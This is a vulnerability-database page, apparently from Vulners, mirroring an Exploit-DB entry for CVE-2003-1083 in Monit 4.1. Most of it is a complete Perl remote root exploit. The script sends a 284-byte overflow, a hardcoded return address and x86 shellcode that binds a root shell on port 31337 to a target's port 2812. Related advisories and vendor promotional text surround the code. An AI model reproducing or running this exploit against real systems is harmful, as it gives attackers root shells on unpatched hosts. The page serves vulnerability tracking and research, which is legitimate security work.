Lucene search
+L

Monit 4.1 - Remote Buffer Overflow

🗓️ 09 Apr 2004 00:00:00Reported by gsichtType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 76 Views

Remote root exploit for Monit 4.1 using a crafted buffer overflow attack.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Gentoo Linux Remote Compromise
28 Apr 201500:00
–bdu_fstec
cve
CVE
CVE-2003-1083
13 Feb 200505:00
–cve
cvelist
Cvelist
CVE-2003-1083
13 Feb 200505:00
–cvelist
debiancve
Debian CVE
CVE-2003-1083
13 Feb 200505:00
–debiancve
exploitdb
Exploit DB
Monit 1.4/2.x/3/4 - 'HTTP Request' Buffer Overrun
24 Nov 200300:00
–exploitdb
nessus
Tenable Nessus
GLSA-200403-14 : Multiple Security Vulnerabilities in Monit
30 Aug 200400:00
–nessus
gentoo
Gentoo Linux
Multiple Security Vulnerabilities in Monit
31 Mar 200400:00
–gentoo
nvd
NVD
CVE-2003-1083
31 Dec 200305:00
–nvd
openvas
OpenVAS
Gentoo Security Advisory GLSA 200403-14 (app-admin/monit)
24 Sep 200800:00
–openvas
openvas
OpenVAS
Gentoo Security Advisory GLSA 200403-14 (app-admin/monit)
24 Sep 200800:00
–openvas
Rows per page
#!/usr/bin/perl
#
# monit <= 4.1 remote root exploit
# coded by gsicht (09.04.04)
#

use IO::Socket::INET;
$socket = 0;

my $shellcode = # 8 + 88 = 96 bytes portbind 31337
"\x90\x90\x90\x90\x90\x90\x90\x90" .
"\x90\x90\x90\x90\x90\x90\x90\x90" .
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80" .
"\x89\xc7\x52\x66\x68" .
"\x7a\x69" . # port 31337/tcp, change if needed
"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80" .
"\xb0\x66\xb3\x04\xcd\x80" .
"\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80" .
"\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80" .
"\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80";


print "\nmonit 4.1 dos exploit\n";
print "coded by gsicht\n\n";

if(@ARGV<1)
{
print "Usage: perl agate.pl <target>\n\n";
exit(0);
}

print "HOST:\t$ARGV[0]\n";
print "PORT:\t2812\n";


my $buffer = "B" x 284 . "\xcf\x89\xb3\x40" . $shellcode; # esp mandrake 9.1
#my $buffer = "A" x 284 . "XXXX" . "B" x 100; #dos and debug

print "connecting to server...\n";

$socket = IO::Socket::INET -> new( PeerAddr => $ARGV[0],
    PeerPort => 2812,
    Proto    => "tcp");
if(!defined($socket))
{
print "could not connect :-P\n";
sleep(1);
exit(0);
}

print "connected\n";
sleep(1);
print "sending string\n";
print $socket $buffer;

close $socket;
print "\ndosed!\n";

# milw0rm.com [2004-04-09]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Dec 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.21107
76